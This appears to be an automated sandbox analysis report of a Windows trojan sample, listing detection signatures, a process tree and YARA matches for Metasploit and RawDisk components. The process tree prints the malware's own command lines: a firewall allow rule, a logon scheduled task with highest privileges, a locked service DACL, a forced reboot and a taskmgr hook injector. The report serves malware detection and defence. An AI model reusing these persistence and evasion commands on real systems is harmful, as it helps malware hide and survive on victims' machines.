Play interactive tour

Edit tour

Windows Analysis Report rlavBKPBEc

Overview

General Information

Sample Name:	rlavBKPBEc (renamed file extension from none to exe)
Analysis ID:	520272
MD5:	c2bd7979c8cdf20c691d8c604a6c4965
SHA1:	59dd2523b1e23d152ad10715e244c81619283bec
SHA256:	13654e2fe0c25303cd4697dd2f66c5d3b228cd3fff6e97ac979257c0b0768cb8
Tags:	32exetrojan
Infos:
Most interesting Screenshot:

Detection

Metasploit

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected Metasploit Payload

Detected unpacking (overwrites its own PE header)

Sigma detected: Schedule system process

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for submitted file

Multi AV Scanner detection for dropped file

Sigma detected: System File Execution Location Anomaly

Uses netsh to modify the Windows network and firewall settings

Found Tor onion address

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Machine Learning detection for sample

Creates files in the system32 config directory

May modify the system service descriptor table (often done to hook functions)

Performs DNS TXT record lookups

Drops executables to the windows directory (C:\Windows) and starts them

Uses schtasks.exe or at.exe to add and modify task schedules

Drops PE files with benign system names

Creates an autostart registry key pointing to binary in C:\Windows

Uses shutdown.exe to shutdown or reboot the system

Changes security center settings (notifications, updates, antivirus, firewall)

Machine Learning detection for dropped file

Modifies the windows firewall

Sigma detected: Suspicious Service DACL Modification

Antivirus or Machine Learning detection for unpacked file

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Sample execution stops while process was sleeping (likely an evasion)

Downloads executable code via HTTP

Drops files with a non-matching file extension (content does not match file extension)

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Uses a known web browser user agent for HTTP communication

Drops PE files to the windows directory (C:\Windows)

Checks if the current process is being debugged

Sigma detected: Netsh Port or Application Allowed

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Creates files inside the system directory

PE file contains sections with non-standard names

Found potential string decryption / allocating functions

Found dropped PE file which has not been started or loaded

Enables debug privileges

Is looking for software installed on the system

AV process strings found (often used to terminate AV products)

PE file does not import any functions

Sample file is different than original file name gathered from version info

PE file contains an invalid checksum

Contains capabilities to detect virtual machines

Enables security privileges

PE / OLE file has an invalid certificate

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries disk information (often used to detect virtual machines)

Classification

Process Tree

System is w10x64

rlavBKPBEc.exe (PID: 5080 cmdline: "C:\Users\user\Desktop\rlavBKPBEc.exe" MD5: C2BD7979C8CDF20C691D8C604A6C4965)

rlavBKPBEc.exe (PID: 5060 cmdline: C:\Users\user\Desktop\rlavBKPBEc.exe MD5: C2BD7979C8CDF20C691D8C604A6C4965)

cmd.exe (PID: 6156 cmdline: C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6224 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

netsh.exe (PID: 6344 cmdline: netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes MD5: 98CC37BBF363A38834253E22C80A8F32)

csrss.exe (PID: 6520 cmdline: C:\Windows\rss\csrss.exe /301-301 MD5: C2BD7979C8CDF20C691D8C604A6C4965)

schtasks.exe (PID: 6788 cmdline: schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F MD5: 838D346D1D28F00783B7A6C6BD03A0DA)

conhost.exe (PID: 6796 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

schtasks.exe (PID: 6804 cmdline: schtasks /delete /tn ScheduledUpdate /f MD5: 838D346D1D28F00783B7A6C6BD03A0DA)

conhost.exe (PID: 6840 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

mountvol.exe (PID: 6876 cmdline: mountvol B: /s MD5: 5C11B99E6D41403031CD946255E8A353)

conhost.exe (PID: 6892 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

mountvol.exe (PID: 6936 cmdline: mountvol B: /d MD5: 5C11B99E6D41403031CD946255E8A353)

conhost.exe (PID: 6952 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

mountvol.exe (PID: 6996 cmdline: mountvol B: /s MD5: 5C11B99E6D41403031CD946255E8A353)

conhost.exe (PID: 7080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

mountvol.exe (PID: 1488 cmdline: mountvol B: /d MD5: 5C11B99E6D41403031CD946255E8A353)

conhost.exe (PID: 6344 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

shutdown.exe (PID: 5552 cmdline: shutdown -r -t 5 MD5: E2EB9CC0FE26E28406FB6F82F8E81B26)

conhost.exe (PID: 6384 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

injector.exe (PID: 6780 cmdline: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\user\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll MD5: D98E33B66343E7C96158444127A117F6)

conhost.exe (PID: 5692 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

windefender.exe (PID: 5404 cmdline: C:\Windows\windefender.exe MD5: E0A50C60A85BFBB9ECF45BFF0239AAA3)

conhost.exe (PID: 5496 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 6824 cmdline: cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD) MD5: F3BDBE3BB6F734E357235F4D5898582D)

sc.exe (PID: 6284 cmdline: sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD) MD5: 24A3E2603E63BCB9695A2935D3B24695)

svchost.exe (PID: 1748 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: 32569E403279B3FD2EDB7EBD036273FA)

TrustedInstaller.exe (PID: 3952 cmdline: C:\Windows\servicing\TrustedInstaller.exe MD5: 4578046C54A954C917BB393B70BA0AEB)

svchost.exe (PID: 2268 cmdline: c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 372 cmdline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 1632 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

SgrmBroker.exe (PID: 6020 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: D3170A3F3A9626597EEE1888686E3EA6)

svchost.exe (PID: 2832 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

MpCmdRun.exe (PID: 7136 cmdline: "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable MD5: A267555174BFA53844371226F482B86B)

conhost.exe (PID: 6140 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

svchost.exe (PID: 6380 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

csrss.exe (PID: 6580 cmdline: "C:\Windows\rss\csrss.exe" MD5: C2BD7979C8CDF20C691D8C604A6C4965)

csrss.exe (PID: 7068 cmdline: C:\Windows\rss\csrss.exe MD5: C2BD7979C8CDF20C691D8C604A6C4965)

csrss.exe (PID: 6884 cmdline: C:\Windows\rss\csrss.exe MD5: C2BD7979C8CDF20C691D8C604A6C4965)

csrss.exe (PID: 6844 cmdline: C:\Windows\rss\csrss.exe MD5: C2BD7979C8CDF20C691D8C604A6C4965)

csrss.exe (PID: 7052 cmdline: "C:\Windows\rss\csrss.exe" MD5: C2BD7979C8CDF20C691D8C604A6C4965)

csrss.exe (PID: 4544 cmdline: C:\Windows\rss\csrss.exe MD5: C2BD7979C8CDF20C691D8C604A6C4965)

svchost.exe (PID: 5468 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

windefender.exe (PID: 452 cmdline: C:\Windows\windefender.exe MD5: E0A50C60A85BFBB9ECF45BFF0239AAA3)

svchost.exe (PID: 1264 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source	Rule	Description	Author
0000001A.00000003.391180017.000000000638A000.00000004.00000001.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000012.00000003.330415705.000000000638A000.00000004.00000001.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
0000002F.00000003.421822381.000000000638A000.00000004.00000001.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000020.00000003.368777809.000000000638A000.00000004.00000001.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000020.00000002.372493931.0000000000400000.00000040.00020000.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000012.00000002.523482221.0000000000400000.00000040.00020000.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
0000001A.00000002.405761551.0000000000400000.00000040.00020000.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
0000001F.00000003.367332012.000000000638A000.00000004.00000001.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000006.00000002.308114392.0000000000400000.00000040.00020000.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000013.00000002.362092797.0000000000400000.00000040.00020000.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
0000001A.00000002.414245254.0000000005700000.00000040.00000001.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000013.00000003.342013940.000000000638A000.00000004.00000001.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
0000002F.00000002.426222131.0000000000400000.00000040.00020000.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000001.00000003.267147105.0000000005D0A000.00000004.00000001.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
0000002F.00000002.430671576.0000000005700000.00000040.00000001.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
0000001F.00000002.380983955.0000000005700000.00000040.00000001.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000012.00000002.530583793.0000000005700000.00000040.00000001.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000025.00000003.389391811.000000000638A000.00000004.00000001.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000001.00000002.275345376.0000000000400000.00000040.00020000.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000006.00000003.296074690.0000000005DCA000.00000004.00000001.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000020.00000002.380651412.0000000005700000.00000040.00000001.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
0000001F.00000002.373722206.0000000000400000.00000040.00020000.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000025.00000002.393329369.0000000000400000.00000040.00020000.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000006.00000002.313497142.0000000005140000.00000040.00000001.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000001.00000002.290947110.0000000005080000.00000040.00000001.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000025.00000002.404856081.0000000005700000.00000040.00000001.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
Click to see the 22 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
6.2.rlavBKPBEc.exe.56ea8d0.11.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
26.2.csrss.exe.9ab080.1.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
18.2.csrss.exe.9ab080.2.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
19.2.csrss.exe.5caa8d0.9.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
1.2.rlavBKPBEc.exe.562a8d0.9.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
26.2.csrss.exe.5ca4f30.11.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
37.2.csrss.exe.5caa8d0.10.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
6.2.rlavBKPBEc.exe.9ab080.1.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
32.2.csrss.exe.5caa8d0.11.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
19.2.csrss.exe.9a56e0.2.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
1.3.rlavBKPBEc.exe.5ed9a80.1.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
47.2.csrss.exe.5ca4f30.11.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
37.2.csrss.exe.5ca4f30.11.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
26.3.csrss.exe.655bce0.3.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3c8b8:$s2: The Magic Word! 0x489f8:$s2: The Magic Word! 0x3cc18:$s3: Software\Oracle\VirtualBox 0x3c8a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
1.2.rlavBKPBEc.exe.5624f30.11.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
37.3.csrss.exe.6559a80.1.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
19.2.csrss.exe.5ca4f30.11.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
19.2.csrss.exe.9ad2e0.0.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3c8b8:$s2: The Magic Word! 0x489f8:$s2: The Magic Word! 0x3cc18:$s3: Software\Oracle\VirtualBox 0x3c8a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
19.2.csrss.exe.9ab080.3.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
18.3.csrss.exe.65540e0.1.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
32.2.csrss.exe.5ca4f30.9.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
19.3.csrss.exe.65540e0.3.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
47.3.csrss.exe.655bce0.3.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3c8b8:$s2: The Magic Word! 0x489f8:$s2: The Magic Word! 0x3cc18:$s3: Software\Oracle\VirtualBox 0x3c8a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
47.2.csrss.exe.9a56e0.1.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
6.2.rlavBKPBEc.exe.9a56e0.0.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
31.2.csrss.exe.5ca4f30.9.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
19.3.csrss.exe.655bce0.1.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3c8b8:$s2: The Magic Word! 0x489f8:$s2: The Magic Word! 0x3cc18:$s3: Software\Oracle\VirtualBox 0x3c8a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
1.3.rlavBKPBEc.exe.5ed40e0.3.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
31.2.csrss.exe.9ab080.0.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
31.2.csrss.exe.9ad2e0.1.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3c8b8:$s2: The Magic Word! 0x489f8:$s2: The Magic Word! 0x3cc18:$s3: Software\Oracle\VirtualBox 0x3c8a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
18.2.csrss.exe.400000.0.raw.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
18.2.csrss.exe.5ca4f30.10.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
18.3.csrss.exe.6559a80.2.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
18.2.csrss.exe.5caa8d0.11.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
32.2.csrss.exe.400000.1.raw.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
32.2.csrss.exe.9a56e0.3.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
47.3.csrss.exe.5fb0000.0.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
19.2.csrss.exe.400000.1.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
31.2.csrss.exe.5700e50.11.raw.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
37.2.csrss.exe.9ab080.3.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
37.2.csrss.exe.5700e50.9.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
6.2.rlavBKPBEc.exe.400000.2.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
1.2.rlavBKPBEc.exe.9ab080.1.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
18.3.csrss.exe.5fb0000.0.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
6.2.rlavBKPBEc.exe.5140e50.9.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
19.2.csrss.exe.400000.1.raw.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
6.2.rlavBKPBEc.exe.56e4f30.10.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
6.3.rlavBKPBEc.exe.5f99a80.2.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
47.2.csrss.exe.5caa8d0.9.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
26.3.csrss.exe.6559a80.2.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
31.2.csrss.exe.9a56e0.3.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
